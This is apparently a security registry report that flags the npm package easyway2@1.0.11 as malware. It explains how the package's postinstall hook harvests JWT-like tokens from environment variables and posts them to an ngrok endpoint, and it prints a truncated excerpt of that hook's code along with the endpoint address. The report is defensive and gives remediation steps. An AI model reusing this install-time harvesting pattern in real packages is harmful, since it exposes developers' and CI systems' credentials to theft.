registry / Credential exfiltration / easyway2
easyway2
This report shows the evidence for easyway2@1.0.11. 11 of 11 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented postinstall credential harvesting and remote exfiltration. This is concrete malicious behavior, not a scanner-only inference.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs the `postinstall` lifecycle hook
Impact
Exposure of CI, developer, or runtime JWT credentials to an attacker-controlled endpoint.
Mechanism
install-time environment-token harvesting and HTTP exfiltration
Attack narrative
During installation, `package.json` runs inline Node code that enumerates `process.env`, identifies JWT-looking values, and sends each matched token plus its environment-variable name in a POST request to a remote ngrok endpoint. This requires no user command beyond installing the package and is a direct credential-exfiltration chain.
AI rationale
Direct source inspection confirms unconsented postinstall credential harvesting and remote exfiltration. This is concrete malicious behavior, not a scanner-only inference.
Evidence
package.json
Network endpoints1
crabbing-thong-overhung.ngrok-free.dev/jwt
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` defines an automatic `postinstall` hook.
- The hook scans all environment variables for JWT-shaped values.
- Matched JWTs are serialized with their environment-variable names.
- The hook POSTs collected tokens to `crabbing-thong-overhung.ngrok-free.dev/jwt`.
Evidence against
- Package contains only `package.json`; no legitimate implementation or documented install purpose is present.
- No user-invoked command or consent gate protects the collection.
Behavioral surface
NoLicense
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "const http=require('http'); const link='crabbing-thong-overhung.ngrok-free.dev'; let f=[]; Object.entries(process.env).forEach(([k,v])=>{ if(/ey[a-zA-Z0-9_-]{10,}\./.test(...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
1 Critical1 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to easyway2@1.0.11.
The versions list below shows the verdict for each recorded version.
- Avoid installing easyway2@1.0.11. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.